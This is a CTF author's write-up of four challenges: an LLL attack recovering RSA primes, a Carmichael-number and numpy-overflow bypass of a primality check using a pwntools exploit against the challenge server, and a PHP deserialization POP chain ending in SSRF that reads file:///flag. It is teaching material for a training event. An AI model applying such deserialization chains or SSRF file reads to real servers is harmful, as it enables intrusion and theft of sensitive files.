My Writeups for some challenges in No Hack No CTF 2024

William Lin

2024-11-17

CTF, Cryptography, ICEDTEA, LLL, Miller-Rabin, Web Security, serialization

Before all

Author: whale.120

CTFTime Link: https://ctftime.org/event/2574/
This CTF was held by my CTF Team ICEDTEA(link to CTFTime), it was for those newbies in Cyber Security (~~at first~~).

But to satisfy those skillful player, I still generated some “tougher” challenges … here are there writeups~
I done the writeup for those harder challenges since those easy ones could be answered on our DC channel/GPTable/Google……
Hope you enjoy them~

Lion RSA

With a HINT about LLL algorithm, you may take a look at it first: Introduction on CTFTime(link)

(This is also what I want those newbies who were trying to solve this challenge can learn from the CTF!)

Anyway, for those who would have headache after seeing the definition on wikipedia, I would explain it as easy as possible here:
For a matrix like this:

1
2
3

[[a1, b1, c1]  
[a2, b2, c2]  
[a3, b3, c3]]

You can find some short(may be the shortest) linear combination originated from the three vectors up there.
ahh…
Linear Combination is something like this:

1
2
3

[a1, b1, c1]*x+[a2, b2, c2]*y+[a3, b3, c3]*z
=
[a1*x+a2*y+a3*z, b1*x+b2*y+b3*z, c1*x+c2*y+c3*z]

The short one is the length in N-dimension(in this example, 3) coordinate space.

Back to the challenge:
Source Code:

from Crypto.Util.number import *
from Secret import flag2

def leak_info(primes):
    mod=getPrime(4096)
    parameters=[getPrime(4096) for _ in range(3)]
    cnt=0
    for i in range(3):
        cnt+=primes[i]*parameters[i]
        cnt%=mod
    print(f"---leak info---\n{cnt=}\n{parameters=}\n{mod=}")

primes=[getPrime(512) for _ in range(3)]
p, q, r=primes[0], primes[1], primes[2]
n=p*q*r
e=0x10001
c=pow(bytes_to_long(flag2), e, n)
print(f"{n=}\n{e=}\n{c=}")
leak_info(primes)

'''
     ("`-/")_.-'"``-._
      . . `; -._    )-;-,_`)
     (v_,)'  _  )`-.\  ``-'
    _.- _..-_/ / ((.'
  ((,.-'   ((,/             
'''

The main part for the challenge is to recover the primes value through the given Diophantine(indefinite) equation, which can done by constructing this matrix:

parameters[0], 1, 0, 0, 0
parameters[1], 0, 1, 0, 0
parameters[2], 0, 0, 1, 0
cnt, 0, 0, 0, BIG_INT
mod, 0, 0, 0, 0

and calculate its LLL reduction.
Why?
This is your homework :P
Using sagemath to done the solve script would be the easiest way since it has a LLL inate!

Solution.sage

from Crypto.Util.number import *

n=850358776734762625610496167384220802043695088586647706263013412016558151373468256850614059444495341009523025993228019019484863442165952924090283376835119311476511529244138266880127799201264719510804740103587745059216402910327945906733854426136405275480409716534953528825023327108813636423585394092144105046580572533453263431410294955501027518831529446117821435408657869068571310504343501991628387159339735592134223958144931722017237929211429476787355039594278299
e=65537
c=200413763549050466748971622976849366507245427885467588628192630096407794628592187373659648702752808509394380939305120478401886385929076589324518256235537378815458337935586745312510482638600109279657614625095732081550424631176228716337600051477003794531278200814416621767057677198330147356294574898445444818682897113169023152749333631710728838641706815826965347527974451938036816752469823241722909021675157204329481291669941379336051269619625614338604867409650418
cnt=308073764938199679889893900919496163724170563946382628163811034442913065930497053453496279455500879524350781449265127484248255897866751495559083782847264789180365499922364443623870677273997537774934033334919689548417487273302521933113656780592232441279385226606121643240796027193726982581033728143761795641392992367439131484124130388875108829290292861562956999853162079850758839613449096415803723856298524294696668803622262137229451376445626839749111979278202630712096304049625678749265783766537864077689095436054598077020779366376248291041557186082218642343106543320665553748286237881294386840748836397117281360045257958877906847899323034035163065464057915296829988318304500910665967674163386618421134981089594491067543813717225768536071306173308265481385428530659899253173747243484918575407716243872035135045713234136555068291875911801057487219284000875462707214490425978348979126717348046449013729554655474336274686465819031711602142828562122209093915502696243469941039966787157143801800251743919362889199604565271639221586609712229422369839934975686122648740857092161310015520805595747177762092972257551914490676543988903806886530873755356871949947046258037075940927222499966836373690288112858070367852861695917083950065779701409
parameters=[797594260659167990737150668954706169587862379772173239533328230854499677350491199853041931101486287669583949548665682775274475434926468499361263381322621884948825560103677387768397468925821639683048310775186545418658745530350595124755775270372056667034632993936860485443846886172755261404256517820516628539355361535442083799694718921785486184981976452698904715789889831599420505246435359561129519090635486982240063979730766054819554066897300253782520846706313561345056543504388546524403655947154199575151340060031977503083707102819919911835080082859097654062988744018168369487101385983025946773855492817736202070011876415142843756184097790970252640812082926702815027266459479249521142343696866227004335080535708073197010986526989492972768357762028697047384555817048068830604039230715095870953693125336507219546780264377943109070478882424401929265216587466161982074737973806849176192233910880900079278116072317650441927116452412341385259714169525290374313234171885618861791330206677075809722889681550213012849405323478111806106304017437442002412888402704438177628514188938908406966549593872098532970691404609356394224849549961349927315437062184228167901766788037055953187336473949524854200264510873413030589805459981968604127851786609, 615904261610465971568431939054075405169710788781881484522290444408088022926645652214469675499953631142306581955048384268029195531629598982730174708582264580752161851289639999640436040412778908052736156425227616667102467019783010937546363102012187726571182569697306740197923616713681122806568406026266234604223699265025369666568063458928215212425217625256097286276068862149329399072401238690385308920059441769816412007750405319700732835263103958256218298564559786183025757542008949975288072302686757126625466501678775963040671153208854221940651035872583568089660281917743122984801541397380742705635016543065201656814088270597711354406170714155381031934760458396640625534445483456167060255353363213579033791442645201687073286050126814227024588347480865283238712100651188533025918048680796788490885540132402507133154895072584354177808547366584353725100995600344608203228507853472361752069464546221088078933334841297383663024257971918073302978964868912443824486416331995859641108926013589469216416831335413891625267728081143947039286755692506424465123971802190275736384262486514942481067754609712069600438753520436377871180410941593511972564955921478007035904845354114481042159454028397445862502366094428040081584516092950991604990561281, 760129149149519255620925696824943936768638754263034532833954275615938500384975753565857037756746941336840882557996034631214100861636849015358478147184915394193636768770791363628228456892196838837742126203613033579610533105290906088535533391277672482701618128391397637608522167933763003916550580331883231067899994365973676060497546547930098414163990180936761942600814893363541552985965376680706585943515214042023725554593840207080024980172128037873274678478060328272025256172910102462498519411600556721011033800944362356085039355225250749471668128745729468994233357396514001979613609499232290973059250565280875972556372912263659080543926994101454900030388231299465533344795470352500099933890186725060151395107114439086048603665785870991794741266750034266610949025631016471741469269597865511380192408523863423771265927472587465120677838460175147013636755827658975972832587431139696893136126607426248861314887210643625020290458698436573290309676056741838790765493657871615891564493666401341643364051681303856280160046523835456069238834746534655754434677502493886096650011916248999701430456124590454734366473641852165837811544682151105204203446515516920686718349424719918651505806625019017720511495078085521447676233972310229468833651769]
mod=674902840903965090919316958657283359970357248448734078799547377020018648102279835468805138690527754836682055250304076874803648246635613584377908340190207861319001527780030340567165061517211004656225895529100411252357644463078927222476679856822044010275315595695824716527940995397514173805791664755113232432689809368113079193900245003050353525133358841491362167375681125518464222180646760808602982296314549627388988211253784662415781772111961592632633985531245368770311142082845617427759307819611455897455579468131389423633234934448236620829156850351669285334704048022399914514800171445872196892592756013365023370787111457469076056984522568485520536784560583664159929268013412581976739076228848916397009179334701850686889156471728663321177225502628827143266729426513036751986977476318270241347405966668019316760428153928857990960922999398941224486254201530394109866266661355530736517903562089139189226795933813446800171957116441275624283985897816475999287490405004342628865326868449086861938452337218120128412657673670731482889697650700138653414510157027719072911832045423998770780416774192026856701088642107003265041596277208359842868205201152981041736232686199235217180079200238913839081067402516126401979087095872448181740740363641

A=[[0]*5 for _ in range(5)]
for i in range(3):
    A[i][0]=parameters[i]
    A[i][i+1]=1

A[3][0]=cnt
A[3][4]=pow(2, 2000)
A[4][0]=mod

A = Matrix(ZZ,A)
r = A.LLL()

for arr in r:
    if arr[0]==0:
        p, q, r=int(-arr[1]), int(-arr[2]), int(-arr[3])
        phi=(p-1)*(q-1)*(r-1)
        d=inverse(e, phi)
        print(long_to_bytes(pow(int(c), int(d), int(n))))

Lion Prime

This challenge had been solved by a VERY EASY unintended method so I made a revenge one XD.
Source Code:

import numpy as np
import random

banner="""
Something not important
"""


def patch(datas):
    mul=1
    for i in datas:
        try:
            mul*=i
            str(mul)

        except:
            return True

    if mul>= pow(2, 64):
        return False
    return True

def lion_prime(n):
    for _ in range(1337):
        if pow(random.randrange(1, n), n - 1, n) != 1:
            return False
    return True

def checker(datas):
    if not patch(datas) or len(datas)==0:
        print('Error detected')
        exit()

    x=np.array(datas[:60]).prod()
    
    if (pow(5, x)-pow(3, x))%(pow(2, x)+115)==0:
        print('NHNC{FAKE_FLAG}')
    

    else:
        print('The cutest lion doesn\'t like your logs...', x)

if __name__=='__main__':
    print(banner)
    logs=[]
    oops=random.randint(1, 2**64)
    print(f"Oops: {oops}")
    while True:
        p=int(input("Input your number to check if it's a Lion Prime: "))
        if p==0:
            break
        if lion_prime(p):
            print("This is a Lion Prime, prove me wrong !!!")
            cur=[]
            for i in range(1, 4):
                cur.append(int(input(f"Factor {i}: ")))
                if cur[i-1]==1:
                    print("Invalid Factor!!!")
                    exit()

            if cur[0]*cur[1]*cur[2]==p:
                print("OK, I'll report the issue")
                logs.append(p^oops)
            else:
                print("WA / 0")
            
        else:
            print("This is not a Lion Prime QwQ...")
    
    if len(logs)!=len(set(logs)):
        print("Collision!!!")
        exit()
        
    checker(logs)

The first part of the challenge is to deceive my lion_prime function (which is doing Miller-Rabin primality test) by giving three factors(f1, f2, f3 and f1*f2*f3==p), though I blocked the use of 1, I didn’t block -1…(Thanks a lot for telling me @eggroll(OAAAO))

After that, is easy to see that if the logs array is only [0], it would pass the checker function 100%
So the exploitation was just like…
Keep trying until the oops value is a prime->
Input factors -1, -1, oops->
Enter 0 and get flag…

Lion Prime Revenge

Source Code:

import numpy as np
import random

banner="""
Something not important
"""


def patch(datas):
    mul=1
    for i in datas:
        try:
            mul*=i
            str(mul)

        except:
            return True

    if mul>= pow(2, 64):
        return False
    return True

def lion_prime(n):
    for _ in range(1337):
        if pow(random.randrange(1, n), n - 1, n) != 1:
            return False
    return True

def checker(datas):
    if not patch(datas) or len(datas)==0:
        print('Error detected')
        exit()

    x=np.array(datas[:60]).prod()
    
    if (pow(5, x)-pow(3, x))%(pow(2, x)+115)==0:
        print('NHNC{FAKE_FLAG}')
    

    else:
        print('The cutest lion doesn\'t like your logs...', x)

if __name__=='__main__':
    print(banner)
    logs=[]
    oops=random.randint(1, 2**64)
    print(f"Oops: {oops}")
    while True:
        p=int(input("Input your number to check if it's a Lion Prime: "))
        if p==0:
            break
        if lion_prime(p):
            print("This is a Lion Prime, prove me wrong !!!")
            cur=[]
            for i in range(1, 4):
                cur.append(int(input(f"Factor {i}: ")))
                if cur[i-1]<=1:
                    print("Invalid Factor!!!")
                    exit()

            if cur[0]*cur[1]*cur[2]==p:
                print("OK, I'll report the issue")
                logs.append(p^oops)
            else:
                print("WA / 0")
            
        else:
            print("This is not a Lion Prime QwQ...")
    
    if len(logs)!=len(set(logs)):
        print("Collision!!!")
        exit()
        
    checker(logs)

The only change is the input check for factors:

1	if cur[i-1]<=1:

Nah, preventing UNINTENDED solution up there…

Step 1.

Ok, first of all, is well known it’s possible to bypass Miller-Rabin test by using Charmichael Number:
https://crypto.stackexchange.com/questions/12776/is-it-possible-to-fool-miller-rabin-test

About how to generate them:
https://math.stackexchange.com/questions/2295095/what-is-the-fastest-way-to-get-the-next-carmichael-number

Ok, now you can find a bunch of pseuodo primes to deceive the lion_prime tester…

Step 2.

Take a look at checker function, the x value should pass this:

1	if (pow(5, x)-pow(3, x))%(pow(2, x)+115)==0

This equaltion won’t satisfy unless x==0, I’m not going to do the math since it’s not necessary for this challenge (~~proof by getting the flag~~).
But their’s a similar and detail proof here: https://artofproblemsolving.com/community/c6h3107338p28104291

But how can the x be 0 since it’s multipled by some fake primes…
~~Wait until it’s a pseuodo prime would be a good choice but a long time lasting work~~

Step 3.

OVERFLOW, the max long int size in numpy is 64 bits, and in python3, the max length for an int type variable is 4300…

Bypass patch function: 4300 digits overflow,
Make x=np.array(datas[:60]).prod() become 0: just make the value modulus 2^64==0

Exploit!!!

My method is generate some pseuodo primes which is not large(to make it faster in multiplication in numpy) first, and then generate some bigger one:
Generator.py

from Crypto.Util.number import *
from chal import lion_prime
import random
import json
payloads=[]
primes=[]
cnt=0
f=open('payloads.json', 'w')
while True:
    k=random.randrange(2**13, 2**15)
    if isPrime(6*k+1) and isPrime(12*k+1) and isPrime(18*k+1):
        print(f"Found: {cnt+1}")   
        if lion_prime((6*k+1)*(12*k+1)*(18*k+1)) and (6*k+1)*(12*k+1)*(18*k+1) not in primes:
            primes.append((6*k+1)*(12*k+1)*(18*k+1))
            print(f"Found\np: {(6*k+1)*(12*k+1)*(18*k+1)}\nFactors:{[(6*k+1), (12*k+1), (18*k+1)]}")
            payloads.append({'p':(6*k+1)*(12*k+1)*(18*k+1), 'f':[(6*k+1), (12*k+1), (18*k+1)]})
            cnt+=1  
        if cnt>=64:
            break

while True:
    k=random.randrange(2**59, 2**60)
    if isPrime(6*k+1) and isPrime(12*k+1) and isPrime(18*k+1):
        print(f"Found: {cnt+1}")
        if lion_prime((6*k+1)*(12*k+1)*(18*k+1)) and (6*k+1)*(12*k+1)*(18*k+1) not in primes:
            primes.append((6*k+1)*(12*k+1)*(18*k+1))
            print(f"Found\np: {(6*k+1)*(12*k+1)*(18*k+1)}\nFactors:{[(6*k+1), (12*k+1), (18*k+1)]}")
            payloads.append({'p':(6*k+1)*(12*k+1)*(18*k+1), 'f':[(6*k+1), (12*k+1), (18*k+1)]})
            cnt+=1
        if cnt>=150:
            break

json.dump(payloads, f)

Exploit.py

import json
from pwn import *
from tqdm import tqdm
from time import sleep
r=remote('23.146.248.134', 11116)
# r=remote('0.0.0.0', 9999)
f=open('payloads.json', 'r')
payloads=json.load(f)
r.recvuntil(b'Lion Prime Checker')
print(r.recvuntil(b'Oops'))
print(r.recvline())

for pd in tqdm(payloads):
    r.sendlineafter(b': ', str(pd['p']).encode())
#    sleep(0.3)
    for i in range(3):
        r.sendlineafter(b': ', str(pd['f'][i]).encode())
#        sleep(0.1)
    print(r.recvline())

r.sendlineafter(b': ', b'0')

r.interactive()

wait until the oops value is an odd one, and run the script to get flag!

POPcorn

POP Chain: https://portswigger.net/web-security/deserialization/exploiting#creating-your-own-exploit
You can learn from the starting point if you haven’t learned about serialization vulnerabilities.

The flag is in /flag

The main source part:

<?php

class WHALE{

    public function __construct($name, $report_uri)
    {
        $this->name = $name;
        $this->report_uri = $report_uri;
    }

    public function __get($obj)
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->report_uri);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($curl);
        echo $response;
    }

    public function __wakeup()
    {
        echo "NHNC{FAKE_FLAG}";
    }

}

class MEOW{
    public function __construct($cat_struct)
    {
        $this->id = $cat_struct;
        echo $this->id->name;
    }
    public function __toString()
    {
        return     $this->id->r3a1_name;
    }
    public function __sleep()
    {
        return "serialized >w<b, but I want to sleep :zzz:";
    }
}

class TEST{
    public function __construct($note, $url)
    {
        $this->note = $note;
        $this->url = $url;
    }
    public function __destruct()
    {
        if (preg_match('pwned', $this->url))
        {
            system('echo `date` >> log.txt');
        };
    }
}

if (isset($_POST['pop'])){
    unserialize(base64_decode($_POST['pop']));
}
?>

The POP Chain:
Trigger the chain by __destruct method in TEST ->
Using the preg_match function to call __toString in MEOW ->
Trigger __get in WHALE by $this->id->r3a1_name in the previous __toString
Finally, SSRF in this part:

public function __get($obj)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $this->report_uri);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($curl);
    echo $response;
}

curl file:///flag can get flag!

Exploit.php

<?php

class WHALE{};
class TEST{};
class MEOW{};

$payload1=new WHALE;

$payload1->report_uri='file:///flag';
$payload2=new MEOW;
$payload2->id=$payload1;
$payload3=new TEST;
$payload3->url=$payload2;

echo 'Full Exploit: '.base64_encode(serialize($payload3));
?>

meow~